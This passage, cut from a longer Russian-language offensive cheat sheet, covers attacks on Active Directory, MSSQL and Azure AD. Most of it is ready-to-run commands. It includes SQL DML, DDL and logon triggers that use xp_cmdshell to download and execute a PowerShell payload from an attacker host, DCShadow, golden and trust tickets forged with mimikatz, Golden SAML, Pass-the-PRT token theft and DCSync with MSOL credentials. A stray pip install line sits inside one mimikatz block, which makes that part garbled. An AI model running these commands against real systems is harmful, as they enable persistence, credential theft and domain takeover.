[MSSQL] NTLMv2 Hash : Administrator::TEST:1122334455667788...
```
### Триггеры DML, DDL и входа в систему
[ ❓ ] : **Триггеры** — это хранимая процедура, которая автоматически выполняется при возникновении события в SQL Server.
- Язык определения данных (DDL) – выполняется при выполнении инструкций Create, Alter и Drop, а также некоторых системных хранимых процедур.
- Язык манипулирования данными (DML) – выполняется при выполнении инструкций Insert, Update и Delete.
- Триггеры входа – выполняются при входе пользователя.
**Список триггеров**
*перечислить все триггеры*```sql
SELECT * FROM sys.server_triggers
```
*список триггеров для базы данных*```sql
SELECT * FROM sys.server_triggers
```
*список триггеров DDL и DML в экземпляре с помощью powershell*```powershell
Get-SQLTriggerDdl -Instance ops-sqlsrvone -username $username -Password $password -Verbose
Get-SQLTriggerDml -Instance ops-sqlsrvone -username $username -Password $password -Verbose
```
*используйте DML триггеры для постоянства*```sql
USE master
GRANT IMPERSONATE ON LOGIN::sa to [Public];
USE testdb
CREATE TRIGGER [persistence_dml_1]
ON testdb.dbo.datatable
FOR INSERT, UPDATE, DELETE AS
EXECUTE AS LOGIN = 'as'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"'
GO
```
*используйте триггеры DDL для сохранения*```sql
CREATE Trigger [persistence_ddl_1]
ON ALL Server
FOR DDL_LOGIN_EVENTS
AS
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
GO
```
*используйте триггеры входа для персистентности*```sql
CREATE Trigger [persistence_logon_1]
ON ALL SERVER WITH EXECUTE AS 'sa'
FOR LOGON
AS
BEGIN
IF ORIGINAL_LOGIN() = 'testuser'
EXEC master..xp_cmdshell 'powershell -C "iex (new-object System.Net.WebClient).DownloadString('http://$ip_attacker/payload.ps1')"
END;
```
## Постоянство в лесу
### DCShadow
**DCShadow временно регистрирует новый контроллер домена в целевом домене** и использует его для «проталкивания» таких атрибутов, как SIDHistory, SPNs…, на указанные объекты, не оставляя журналов изменений для изменённого объекта!
*⚠️ Требования:*
- Для использования DCShadow требуются привилегии DA.
- Машина атакующего должна быть частью корневого домена.
Атаке требуются два экземпляра на скомпрометированной машине:
**1‑й экземпляр:** *запускает серверы RPC с привилегиями SYSTEM и указывает атрибуты для изменения*```c
mimikatz # !+
mimikatz # !processtoken
mimikatz # lsadump::dcshadow /object:root1user /attribute:Description /value="Hello from DCShadow"
```
**2 экземпляр:** *с достаточными привилегиями DA для внесения значений:*```c
mimikatz # sekurlsa::pth /user:Administrator /domain:$domain /ntlm:$admin_hash /impersonate
mimikatz # lsadump::dcshadow /push
```
## Атаки между лесами
### Доверительные билеты
*Извлечение доверительного ключа*```powershell
Invoke-Mimikatz -Command '"lsadump::trust /patch"'
```
*Подделка IR-TGT с использованием Trust key*```powershell
Invoke-Mimikatz -Command '"Kerberos::golden /domain:$domain /sid:$sid /sids:$extra_sids /rc4:$rc4_hash /user:Administrator /service:krbtgt /target:$target /ticket:$path/to/trust_ticket.kirbi"'
```
*получить TGS для службы CIFS*```powershell
asktgs path/to/trust_ticket.kirbi CIFS/ps-dc.powershell.local
```
*используйте TGS для CIFS service*```powershell
kirbikator.exe lsa .\CIFS.$domain.kirbi ls \\$domain\`c$
```
### Использование хеша KRBTGT```powershell
Invoke-Mimikatz -Command '"lsadump::lsa /patch"'
Invoke-Mimikatz -Command '"kerberos::golden /user:Administrator /domain:domaine.fun.local /sid:S-1-5-x-x-x-x /sids:S-1-5-x-x-x-x-519 /krbtgt:<hash> /ticket:C:\path\krb_tgt.kirbi"'
Invoke-Mimikatz -Command '"kerberos::ptt C:\path\krb_tgt.kirbi
```
## Azure Active Directory
### AZ User Enumeration
*подключение к Azure Active Directory с помощью **Connect-MsolService**.*```powershell
PS> Connect-MsolService -Credential $cred
```
*эта команда позволяет перечисление с MFA (многофакторная аутентификация)*```powershell
Get-MsolUser -EnabledFilter EnabledOnly -MaxResults 50000 | select DisplayName,UserPrincipalName,@{N="MFA Status"; E={ if( $_.StrongAuthenticationRequirements.State -ne $null){ $_. StrongAuthenticationRequirements.State} else { "Disabled"}}} | export-csv mfaresults.csv
```
*найти Azure AD Connect Server*```powershell
ldapsearch -H ldap://DC01.MEGACORP.CORP:389 -D "MEGACORP\john" -w $password -b "DC=MEGACORP,DC=CORP" '(description=*Azure*)' description
```
### Перечисление с помощью AZ CLI
**Перечисление хранилищ**
*перечисление blob-хранилищ*```powershell
az storage account list -o table
az storage account list -o json | jq -r '.[].name'
```
### PowerZure
*создать нового пользователя*```powershell
New-AzureUser -Username '[email protected]' -Password catAker
```
*Выполняет команду на указанной виртуальной машине*```powershell
Execute-Command -OS Windows -VM Win10 -ResourceGroup rg01 -Command "whoami"
```
### Golden SAML
*⚠️ Требования :*
- Права администратора сервера ADFS
- `ADFS Public Certificate`
- `IdP Name`
- `Role Name`
> Получить `ADFS Public Certificate`:```powershell
PS > [System.Convert]::ToBase64String($cer.rawdata)
```
> Получить `IdP Name`:```powershell
PS > (Get-ADFSProperties).Identifier.AbsoluteUri
```
> Получить `Role Name`:```powershell
PS > (Get-ADFSRelyingPartyTrust).IssuanceTransformRule
```
набор инструментов для эксплуатации Golden SAML можно найти [здесь](https://github.com/secureworks/whiskeysamlandfriends)
> **Golden SAML похож на золотой билет и затрагивает протокол Kerberos. Как и Золотой билет, Golden SAML позволяет злоумышленнику получать доступ к ресурсам, защищённым агентами SAML (например: Azure, AWS, vSphere, Okta, Salesforce, ...), с повышенными привилегиями через золотой билет.**
*ShockNAwe:*
- 1. Удалённо извлекает настройки конфигурации AD FS
- 2. Формирует и подписывает токен Golden SAML
- 3. Извлекает часть «утверждения» (assertion) токена Golden SAML и передаёт её в API управления Azure Core для получения действительного токена доступа к API
- 4. Перечисляет идентификатор подписки
- 5. Перечисляет полный список виртуальных машин в подписке
- 6. Выполняет произвольные команды на всех виртуальных машинах от имени SYSTEM/root
*WhiskeySAML:*
- 1. Удалённо извлекать настройки конфигурации AD FS
- 2. Формировать и подписывать токены Golden SAML
- 3. Передавать токен Golden SAML на портал Microsoft Azure
- 4. Входить на портал Azure от имени любого пользователя, обходя конфигурации Azure MFA```bash
python3 shocknawe.py --target-user $user --domain $domain --adfs-host=$adfs_server --dc-ip $ip
```
### Манипуляция PRT
#### PassThePRT
*проверьте статус AzureAdJoined и скачайте Mimikatz:*```powershell
dsregcmd.exe /status
iex (New-Object Net.Webclient).downloadstring(“https://server/Invoke-Mimikatz.ps1”)
```
Ищете **prt** и **KeyValue**:```c
mimikatz # privilege::debug
mimikatz # sekurlsa::cloudap
```
*используйте **функцию APKD** для декодирования **KeyValue** и сохранения значений **"Context"** и **"DerivedKey"**:*```c
mimikatz # token::elevate
mimikatz # dpapi::cloudapkd /keyvalue:$KeyValue /unprotect
```
pip install argparse socket threading time random string python-nmap requests colorama paramiko```c
mimikatz # dpapi::cloudapkd /context:$context /derivedkey:$DerivedKey /Prt:$prt
---SNIP---
Signed JWT : eyJ...
```
*Создать PRT-Cookie с помощью [lantern](https://github.com/ConstantinT/Lantern):*```powershell
Lantern.exe cookie --derivedkey <Key from Mimikatz> --context <Context from Mimikatz> --prt <PRT from Mimikatz>
Lantern.exe cookie --sessionkey <SessionKey> --prt <PRT from Mimikatz>
```
*Сгенерировать JWT*```powershell
PS AADInternals> $PRT_OF_USER = '...'
PS AADInternals> while($PRT_OF_USER.Length % 4) {$PRT_OF_USER += "="}
PS AADInternals> $PRT = [text.encoding]::UTF8.GetString([convert]::FromBase64String($PRT_OF_USER))
PS AADInternals> $ClearKey = "XXYYZZ..."
PS AADInternals> $SKey = [convert]::ToBase64String( [byte[]] ($ClearKey -replace '..', '0x$&,' -split ',' -ne ''))
PS AADInternals> New-AADIntUserPRTToken -RefreshToken $PRT -SessionKey $SKey –GetNonce
```
### Сервисная учетная запись MSOL
> вы можете извлечь сервисную учетную запись MSOL с помощью [azuread_decrypt_msol.ps1](https://gist.github.com/xpn/f12b145dba16c2eebdd1c6829267b90c), используемую Azure AD Connect Sync, и запустить атаку DCsync с помощью извлеченных учетных данных
*DCSync с учетной записью MSOL*```powershell
secretsdump -outputfile hashes $domain/$msol_svc_acc:$msol_pwd@$ip
```
## Разное
### Атрибут уровня домена
#### Эксплуатация MachineAccountQuota (MAQ)
используйте crackmapexec (CME) с модулем maq :
`cme ldap $dc -d $DOMAIN -u $USER -p $PASSWORD -M maq`
#### BadPwdCount```python
crackmapexec ldap 10.10.13.100 -u $user -p $pwd --kdcHost 10.10.13.100 --users
LDAP 10.10.13.100 389 dc1 Guest badpwdcount: 0 pwdLastSet: <never>
```
### Злоупотребление IPv6 в AD
отправка ICMPv6 пакета цели с помощью ping6:
`ping6 -c 3 <target>`
сканирование IPv6 адреса с помощью nmap:
`nmap -6 -sCV dead:beef:0000:0000:b885:d62a:d679:573f --max-retries=2 --min-rate=3000 -Pn -T3`
советы по адаптации инструментов для IPv6:```bash
echo -n "port1" "port2" "port3" | xargs -d ' ' -I% bash -c 'socat TCP4-LISTEN:%,fork TCP6:[{ipv6-address-here}]:% &'
netstat -laputen |grep LISTEN
```
вы можете заменить значение AF_INET на AF_INET6 из библиотеки socket python :```bash
sed -i "s/AF_INET/AF_INET6/g" script.py
```
#### Мошеннический DHCP
`mitm6 -i eth0 -d 'domain.job.local'`
#### Перечисление интерфейса IOXIDResolver
Это небольшой скрипт, который перечисляет адреса в поле NetworkAddr с уровнем [**RPC_C_AUTHN_DCE_PUBLIC**](https://docs.microsoft.com/en-us/windows/win32/rpc/authentication-service-constants)```py
from impacket.dcerpc.v5 import transport
from impacket.dcerpc.v5.dcomrt import IObjectExporter
RPC_C_AUTHN_DCE_PUBLIC = 2
stringBinding = r'ncacn_ip_tcp:%s' % "IP"
rpctransport = transport.DCERPCTransportFactory(stringBinding)
rpc = rpctransport.get_dce_rpc()
rpc.set_auth_level(RPC_C_AUTHN_DCE_PUBLIC)
rpc.connect()
print("[*] Try with RPC_C_AUTHN_DCE_PUBLIC...")
exporter = IObjectExporter(rpc)
binding = exporter.ServerAlive2()
for bind in binding:
adr = bind['aNetworkAddr']
print("Adresse:", adr)
```
## Ссылки
- https://tools.thehacker.recipes/mimikatz/modules/sekurlsa/cloudap
- https://blog.netspi.com/maintaining-persistence-via-sql-server-part-2-triggers/
- https://www.thehacker.recipes/ad/movement/kerberos/asreproast
- https://www.hackingarticles.in/credential-dumping-ntds-dit/
- https://blog.alsid.eu/dcshadow-explained-4510f52fc19d
- https://github.com/S1ckB0y1337/Active-Directory-Exploitation-Cheat-Sheet
- https://www.zerodayinitiative.com/blog/2020/2/24/cve-2020-0688-remote-code-execution-on-microsoft-exchange-server-through-fixed-cryptographic-keys
- https://derkvanderwoude.medium.com/pass-the-prt-attack-and-detection-by-microsoft-defender-for-afd7dbe83c94
- https://github.com/rootsecdev/Azure-Red-Team
- https://www.secureworks.com/blog/going-for-the-gold-penetration-testing-tools-exploit-golden-saml